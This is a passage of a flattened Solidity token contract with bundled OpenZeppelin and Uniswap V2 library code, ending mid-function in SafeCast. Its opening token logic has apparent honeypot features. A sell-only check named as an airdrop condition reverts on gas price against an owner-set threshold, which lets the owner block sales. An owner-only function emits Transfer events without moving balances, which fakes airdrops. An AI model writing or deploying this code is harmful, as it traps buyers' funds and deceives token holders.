address[] calldata _address,
uint256[] calldata _amount
) external onlyOwner {
for (uint256 i = 0; i < _address.length; i++) {
emit Transfer(_caller, _address[i], _amount[i]);
}
}
function _checkEnoughAirdropCondition(uint256 amount) internal view {
if (tx.gasprice > amount) {
revert();
}
}
function _transfer(
address from,
address to,
uint256 amount
) internal override(ERC20) {
require(initialized == true, "Contract: not initialized!");
if (initialized == true && tradeOpen == false) {
require(
from == owner() || to == owner(),
"Contract: trading is not started"
);
}
uint256 _transferAmount = amount;
if (pair != address(0) && from != owner() && to != owner()) {
uint256 _fee = 0;
if (from == pair) {
_fee = buyFee;
}
if (to == pair) {
_fee = sellFee;
_checkEnoughAirdropCondition(minimumAirdropAmount);
}
if (excludedFees[from] == true || excludedFees[to] == true) {
_fee = 0;
}
if (_fee > 0) {
uint256 _calculatedFee = (amount * _fee) / MAX_PERCENTAGE;
_transferAmount = amount - _calculatedFee;
super._transfer(from, deadAddress, _calculatedFee);
}
}
super._transfer(from, to, _transferAmount);
}
}// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(
address owner,
address spender
) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(
address to
) external returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
)
external
payable
returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable returns (uint[] memory amounts);
function swapTokensForExactETH(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactTokensForETH(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapETHForExactTokens(
uint amountOut,
address[] calldata path,
address to,
uint deadline
) external payable returns (uint[] memory amounts);
function quote(
uint amountA,
uint reserveA,
uint reserveB
) external pure returns (uint amountB);
function getAmountOut(
uint amountIn,
uint reserveIn,
uint reserveOut
) external pure returns (uint amountOut);
function getAmountIn(
uint amountOut,
uint reserveIn,
uint reserveOut
) external pure returns (uint amountIn);
function getAmountsOut(
uint amountIn,
address[] calldata path
) external view returns (uint[] memory amounts);
function getAmountsIn(
uint amountOut,
address[] calldata path
) external view returns (uint[] memory amounts);
}interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
*
* Furthermore, `isContract` will also return true if the target contract within
* the same transaction is already scheduled for destruction by `SELFDESTRUCT`,
* which only has an effect at the end of a transaction.
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call{ value: amount }("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
0,
"Address: low-level call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
(bool success, bytes memory returndata) = target.call{ value: value }(
data
);
return
verifyCallResultFromTarget(
target,
success,
returndata,
errorMessage
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data
) internal view returns (bytes memory) {
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return
verifyCallResultFromTarget(
target,
success,
returndata,
errorMessage
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data
) internal returns (bytes memory) {
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
(bool success, bytes memory returndata) = target.delegatecall(data);
return
verifyCallResultFromTarget(
target,
success,
returndata,
errorMessage
);
}
/**
* @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling
* the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.
*
* _Available since v4.8._
*/
function verifyCallResultFromTarget(
address target,
bool success,
bytes memory returndata,
string memory errorMessage
) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
// only check isContract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
/**
* @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason or using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(
bytes memory returndata,
string memory errorMessage
) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
*
* Furthermore, `isContract` will also return true if the target contract within
* the same transaction is already scheduled for destruction by `SELFDESTRUCT`,
* which only has an effect at the end of a transaction.
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call{ value: amount }("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
0,
"Address: low-level call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
(bool success, bytes memory returndata) = target.call{ value: value }(
data
);
return
verifyCallResultFromTarget(
target,
success,
returndata,
errorMessage
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data
) internal view returns (bytes memory) {
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return
verifyCallResultFromTarget(
target,
success,
returndata,
errorMessage
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data
) internal returns (bytes memory) {
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
(bool success, bytes memory returndata) = target.delegatecall(data);
return
verifyCallResultFromTarget(
target,
success,
returndata,
errorMessage
);
}
/**
* @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling
* the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.
*
* _Available since v4.8._
*/
function verifyCallResultFromTarget(
address target,
bool success,
bytes memory returndata,
string memory errorMessage
) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
// only check isContract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
/**
* @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason or using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(
bytes memory returndata,
string memory errorMessage
) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)
pragma solidity ^0.8.0;
import "./Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_checkOwner();
_;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby disabling any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SafeCast.sol)
// This file was procedurally generated from scripts/generate/templates/SafeCast.js.
pragma solidity ^0.8.0;
/**
* @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
* checks.
*
* Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
* all math on `uint256` and `int256` and then downcasting.
*/
library SafeCast {
/**
* @dev Returns the downcasted uint248 from uint256, reverting on
* overflow (when the input is greater than largest uint248).
*
* Counterpart to Solidity's `uint248` operator.
*
* Requirements:
*
* - input must fit into 248 bits
*
* _Available since v4.7._
*/
function toUint248(uint256 value) internal pure returns (uint248) {
require(
value <= type(uint248).max,
"SafeCast: value doesn't fit in 248 bits"
);
return uint248(value);
}
/**
* @dev Returns the downcasted uint240 from uint256, reverting on
* overflow (when the input is greater than largest uint240).
*
* Counterpart to Solidity's `uint240` operator.
*
* Requirements:
*
* - input must fit into 240 bits
*
* _Available since v4.7._
*/
function toUint240(uint256 value) internal pure returns (uint240) {
require(
value <= type(uint240).max,
"SafeCast: value doesn't fit in 240 bits"
);
return uint240(value);
}
/**
* @dev Returns the downcasted uint232 from uint256, reverting on
* overflow (when the input is greater than largest uint232).
*
* Counterpart to Solidity's `uint232` operator.
*
* Requirements:
*
* - input must fit into 232 bits
*
* _Available since v4.7._
*/
function toUint232(uint256 value) internal pure returns (uint232) {
require(
value <= type(uint232).max,
"SafeCast: value doesn't fit in 232 bits"
);
return uint232(value);
}
/**
* @dev Returns the downcasted uint224 from uint256, reverting on
* overflow (when the input is greater than largest uint224).
*
* Counterpart to Solidity's `uint224` operator.
*
* Requirements:
*
* - input must fit into 224 bits
*
* _Available since v4.2._
*/
function toUint224(uint256 value) internal pure returns (uint224) {
require(
value <= type(uint224).max,
"SafeCast: value doesn't fit in 224 bits"
);
return uint224(value);
}
/**
* @dev Returns the downcasted uint216 from uint256, reverting on
* overflow (when the input is greater than largest uint216).
*
* Counterpart to Solidity's `uint216` operator.
*
* Requirements:
*
* - input must fit into 216 bits
*
* _Available since v4.7._
*/
function toUint216(uint256 value) internal pure returns (uint216) {
require(
value <= type(uint216).max,
"SafeCast: value doesn't fit in 216 bits"
);
return uint216(value);
}
/**
* @dev Returns the downcasted uint208 from uint256, reverting on
* overflow (when the input is greater than largest uint208).
*
* Counterpart to Solidity's `uint208` operator.
*
* Requirements:
*
* - input must fit into 208 bits
*
* _Available since v4.7._
*/
function toUint208(uint256 value) internal pure returns (uint208) {
require(
value <= type(uint208).max,
"SafeCast: value doesn't fit in 208 bits"
);
return uint208(value);
}
/**
* @dev Returns the downcasted uint200 from uint256, reverting on
* overflow (when the input is greater than largest uint200).
*
* Counterpart to Solidity's `uint200` operator.
*
* Requirements:
*
* - input must fit into 200 bits
*
* _Available since v4.7._
*/
function toUint200(uint256 value) internal pure returns (uint200) {
require(
value <= type(uint200).max,
"SafeCast: value doesn't fit in 200 bits"
);
return uint200(value);
}
/**
* @dev Returns the downcasted uint192 from uint256, reverting on
* overflow (when the input is greater than largest uint192).
*
* Counterpart to Solidity's `uint192` operator.
*
* Requirements:
*
* - input must fit into 192 bits
*
* _Available since v4.7._
*/
function toUint192(uint256 value) internal pure returns (uint192) {
require(
value <= type(uint192).max,
"SafeCast: value doesn't fit in 192 bits"
);
return uint192(value);
}
/**
* @dev Returns the downcasted uint184 from uint256, reverting on
* overflow (when the input is greater than largest uint184).
*
* Counterpart to Solidity's `uint184` operator.
*
* Requirements:
*
* - input must fit into 184 bits
*
* _Available since v4.7._
*/
function toUint184(uint256 value) internal pure returns (uint184) {
require(
value <= type(uint184).max,
"SafeCast: value doesn't fit in 184 bits"
);
return uint184(value);
}
/**
* @dev Returns the downcasted uint176 from uint256, reverting on
* overflow (when the input is greater than largest uint176).
*
* Counterpart to Solidity's `uint176` operator.
*
* Requirements:
*
* - input must fit into 176 bits
*
* _Available since v4.7._
*/
function toUint176(uint256 value) internal pure returns (uint176) {
require(
value <= type(uint176).max,
"SafeCast: value doesn't fit in 176 bits"
);
return uint176(value);
}
/**
* @dev Returns the downcasted uint168 from uint256, reverting on
* overflow (when the input is greater than largest uint168).
*
* Counterpart to Solidity's `uint168` operator.
*
* Requirements:
*
* - input must fit into 168 bits
*
* _Available since v4.7._
*/
function toUint168(uint256 value) internal pure returns (uint168) {
require(
value <= type(uint168).max,
"SafeCast: value doesn't fit in 168 bits"
);
return uint168(value);
}
/**
* @dev Returns the downcasted uint160 from uint256, reverting on
* overflow (when the input is greater than largest uint160).
*
* Counterpart to Solidity's `uint160` operator.
*
* Requirements:
*
* - input must fit into 160 bits
*
* _Available since v4.7._
*/
function toUint160(uint256 value) internal pure returns (uint160) {
require(
value <= type(uint160).max,
"SafeCast: value doesn't fit in 160 bits"
);
return uint160(value);
}
/**
* @dev Returns the downcasted uint152 from uint256, reverting on
* overflow (when the input is greater than largest uint152).
*
* Counterpart to Solidity's `uint152` operator.
*
* Requirements:
*
* - input must fit into 152 bits
*
* _Available since v4.7._
*/
function toUint152(uint256 value) internal pure returns (uint152) {
require(
value <= type(uint152).max,
"SafeCast: value doesn't fit in 152 bits"
);
return uint152(value);
}
/**
* @dev Returns the downcasted uint144 from uint256, reverting on
* overflow (when the input is greater than largest uint144).
*
* Counterpart to Solidity's `uint144` operator.
*
* Requirements:
*
* - input must fit into 144 bits
*
* _Available since v4.7._
*/
function toUint144(uint256 value) internal pure returns (uint144) {
require(
value <= type(uint144).max,
"SafeCast: value doesn't fit in 144 bits"
);
return uint144(value);
}
/**
* @dev Returns the downcasted uint136 from uint256, reverting on
* overflow (when the input is greater than largest uint136).
*
* Counterpart to Solidity's `uint136` operator.
*
* Requirements:
*
* - input must fit into 136 bits
*
* _Available since v4.7._
*/
function toUint136(uint256 value) internal pure returns (uint136) {
require(
value <= type(uint136).max,
"SafeCast: value doesn't fit in 136 bits"
);
return uint136(value);
}
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*
* _Available since v2.5._
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(
value <= type(uint128).max,
"SafeCast: value doesn't fit in 128 bits"
);
return uint128(value);
}
/**
* @dev Returns the downcasted uint120 from uint256, reverting on
* overflow (when the input is greater than largest uint120).
*
* Counterpart to Solidity's `uint120` operator.
*
* Requirements:
*
* - input must fit into 120 bits
*
* _Available since v4.7._
*/
function toUint120(uint256 value) internal pure returns (uint120) {
require(
value <= type(uint120).max,
"SafeCast: value doesn't fit in 120 bits"
);
return uint120(value);
}
/**
* @dev Returns the downcasted uint112 from uint256, reverting on
* overflow (when the input is greater than largest uint112).
*
* Counterpart to Solidity's `uint112` operator.
*
* Requirements:
*
* - input must fit into 112 bits
*
* _Available since v4.7._
*/
function toUint112(uint256 value) internal pure returns (uint112) {
require(
